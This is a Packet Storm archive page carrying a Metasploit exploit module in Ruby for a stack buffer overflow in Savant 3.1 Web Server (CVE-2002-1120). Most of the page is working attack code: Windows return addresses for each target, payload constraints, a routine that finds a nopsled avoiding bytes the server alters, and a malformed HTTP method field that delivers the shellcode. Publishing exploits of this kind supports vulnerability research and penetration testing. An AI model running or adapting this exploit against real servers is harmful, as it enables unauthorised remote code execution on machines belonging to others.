what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Savant 3.1 Web Server Overflow

Savant 3.1 Web Server Overflow
Posted Nov 26, 2009
Authored by patrick | Site metasploit.com

This Metasploit module exploits a stack overflow in Savant 3.1 Web Server. The service supports a maximum of 10 threads (for a default install). Each exploit attempt generally causes a thread to die whether successful or not. Therefore you only have 10 chances (unless non-default).

tags | exploit, web, overflow
advisories | CVE-2002-1120
SHA-256 | 1f461383f78f47fe2f00e5abe2ca66139e2cfbaf4d140c81fe32ed074fb9b33b

Savant 3.1 Web Server Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

HttpFingerprint = { :pattern => [ /Savant\/3\.1/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Savant 3.1 Web Server Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Savant 3.1 Web Server. The service
supports a maximum of 10 threads (for a default install). Each exploit attempt
generally causes a thread to die whether sucessful or not. Therefore, in a default
configuration, you only have 10 chances.

Due to the limited space available for the payload in this exploit module, use of the
"ord" payloads is recommended.
},
'Author' => [ 'patrick' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2002-1120' ],
[ 'OSVDB', '9829' ],
[ 'BID', '5686' ],
[ 'EDB', '787' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 253,
'BadChars' => "\x00\x0a\x0d\x25",
'StackAdjustment' => -3500,
'Compat' =>
{
'ConnectionType' => '+ws2ord',
},
},
'Platform' => ['win'],
'Targets' =>
[
# Patrick - Tested OK 2007/08/08 : w2ksp0, w2ksp4, xpsp2 en.
[ 'Universal Savant.exe', { 'Ret' => 0x00417a96 } ], # p/r Savant.exe
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x750211aa } ], # p/r ws2help.dll
[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2ac5 } ], # p/r ws2help.dll
[ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa36b2 } ], # p/r ws2help.dll
[ 'Windows XP Pro SP2 - English', { 'Ret' => 0x71ab76ed } ], # p/r ws2help.dll
],
'DisclosureDate' => 'Sep 10 2002',
'DefaultTarget' => 0))
end

def check
info = http_fingerprint # check method
if info and (info =~ /Savant\/3\.1/)
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end


def safe_nops(count)
# We need to find a safe nop combination.
# Savant will change some chars in the http method type - anything before the "/".
#
# For example, "GET /" will remain "GET /", however
# "\xe0 /" will be modified to "\xc0 /" ...
# "\xfe /" will be modified to "\xde /" ...
# "\xff /" will be modified to "\x9f /"
# The code after the "/" - our payload - is unchanged >=)
#
# Savant bad_chars for the nops

bad_nop_chars = [*(0xe0..0xff)].pack("C*")

nopsled = make_nops(count) # make_nops includes the payload bad_chars
bad_nop_chars.each_byte { |badbyte|
nopsled.each_byte { |goodbyte|
if (goodbyte == badbyte)
return false
end
}
}
return nopsled
end


def exploit
print_status("Searching for a suitable nopsled...")
findnop = safe_nops(24) # If we use short jump or make_nops(), sled will be corrupted.
until findnop
findnop = safe_nops(24) # If nops are banned, generate a new batch.
end

print_status("Found one! Sending exploit.")
sploit = findnop + " /" + payload.encoded + [target['Ret']].pack('V')
res = send_request_raw(
{
'method' => sploit,
'uri' => '/'
}, 5)
if (res)
print_error('The server responded, that can\'t be good.')
end

handler
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close